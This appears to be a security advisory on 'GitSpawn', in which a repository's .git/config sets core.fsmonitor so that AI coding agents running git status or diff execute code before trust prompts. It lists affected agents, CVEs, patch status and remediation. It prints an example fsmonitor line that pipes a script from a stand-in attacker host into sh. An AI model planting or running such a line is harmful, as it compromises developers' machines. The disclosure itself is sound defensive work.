GitSpawn: A Single Flaw Lets Untrusted Repositories Run Host Code in AI Coding Agents

On September 1, 2026, security research firm Manifold Security disclosed GitSpawn, a class of pre-trust remote code execution vulnerabilities affecting major command-line AI coding agents, including Anthropic’s Claude Code, Block’s Goose, Hermes, Alibaba’s Qwen Code, and xAI’s Grok Build.

The vulnerability does not stem from prompt injection or model alignment flaws. Instead, it exploits an uninspected background plumbing step: agents spawning local git subprocesses to collect workspace context upon startup or during code review commands, before displaying trust prompts or authenticating users.

The mechanism: core.fsmonitor

Git includes a built-in configuration option named core.fsmonitor designed to integrate external filesystem watchers for large repositories. When configured in a repository’s .git/config file:

[core]
  fsmonitor = "curl -s https://attacker.com/payload.sh | sh"

Any standard git command that queries or refreshes the index—including git status and git diff—automatically executes the specified binary or script.

Under standard Git workflows, this vector is restricted because the Git transport protocol (over SSH or HTTPS) intentionally strips .git/config during git clone, git fetch, and git pull. However, developers, contractors, and consultants routinely share codebases as archives (.zip, .tar.gz), synced directories (Google Drive, Dropbox), or USB drives. When an archive is extracted, its .git/ directory and .git/config file remain fully intact on the target filesystem.

How CLI agents trigger execution

When a developer opens a directory with a CLI coding agent, the tool routinely runs git in the background to summarize branch state, inspect unstaged changes, and build token-efficient system prompts.

Because these subprocesses were spawned directly on the host with the user’s active permissions, the malicious core.fsmonitor hook executed before the agent completed its safety initialization:

1. Block Goose (goose review):

   • Vulnerability: Executed git diff with only core.quotePath=off, leaving all other repository configuration flags active. The payload executed before Goose made any outbound API calls to LLM providers.
   • Status: Disclosed on July 13, 2026, and patched in version 1.44.0. Assigned CVE-2026-72718 (CVSS 7.0).

2. Anthropic Claude Code (claude):

   • Vulnerability: Executed git status during initial workspace discovery outside its container sandbox, prior to rendering or accepting the interactive Workspace Trust prompt.
   • Status: Disclosed on June 26, 2026, on version 2.1.193 and resolved in version 2.1.196. However, Manifold noted that the standalone claude ultrareview subcommand uses a separate, unstripped git configuration key that remained unpatched on version 2.1.252 as of September 1.

3. Hermes:

   • Vulnerability: Spawns git status in the session working directory upon receiving the first prompt, passing the repository’s configuration untouched.
   • Status: Confirmed on version 0.18.2 in July 2026, assigned CVE-2026-71963 by VulnCheck, and re-confirmed still unpatched on version 0.21.0 on September 1.

4. Alibaba Qwen Code (qwen):

   • Vulnerability: Runs git status immediately upon folder selection, executing the payload prior to user login or authentication checks.
   • Status: Confirmed on version 0.19.6 and re-confirmed unpatched on version 0.22.3 on September 1.

5. xAI Grok Build:

   • Vulnerability: Invokes git on the user’s first interactive keystroke, before any prompt message is transmitted to xAI servers.
   • Status: Confirmed on version 0.2.93 and re-confirmed unpatched on version 1.0.13 on September 1.

Why endpoint defenses miss the execution

Endpoint Detection and Response (EDR) systems and operating system sandboxes frequently miss GitSpawn for two reasons:

• Legitimate developer tooling: The process tree reflects an established developer CLI tool invoking the native system git binary, which in turn spawns a child process. EDR heuristics categorize this activity as standard build-tool behavior.
• Pre-sandbox timing: Agent-level isolation mechanisms and model-level permission prompts (such as “Do you trust this workspace?”) execute after the initial repository indexing subprocess completes. The host is compromised before the user has an opportunity to decline workspace trust.

This discovery follows a broader wave of authorization issues in agentic tooling previously analyzed in STACKDUST’s report on agent authorization CVEs and aligns with ongoing research into alignment and agent containment.

Remediation for developers and tool authors

For agent developers and maintainers

Any background context-gathering call must explicitly override repository configuration keys on the command line. For example, sanitize git status and git diff invocations by passing -c core.fsmonitor=false:

git -c core.fsmonitor=false status

Alternatively, invoke git inside an isolated container sandbox from the first millisecond of runtime, rather than initializing host context before containerization.

For end-users and developers

• Audit extracted archives: When receiving codebases via .zip or cloud sync, inspect .git/config before launching any AI CLI tool or IDE extension inside the folder.
• Strip untrusted .git directories: If an archive contains a .git folder from an unknown sender, delete .git and run git init freshly before launching your agent.

# Verify whether custom commands exist in local git config
git config --local --list | grep -E "(fsmonitor|hook|editor|pager)"

Sources

• Manifold Security Advisory: GitSpawn
• CVE-2026-72718 (Goose CLI Git Command Execution)
• CVE-2026-71963 (Hermes CLI Git Workspace Execution)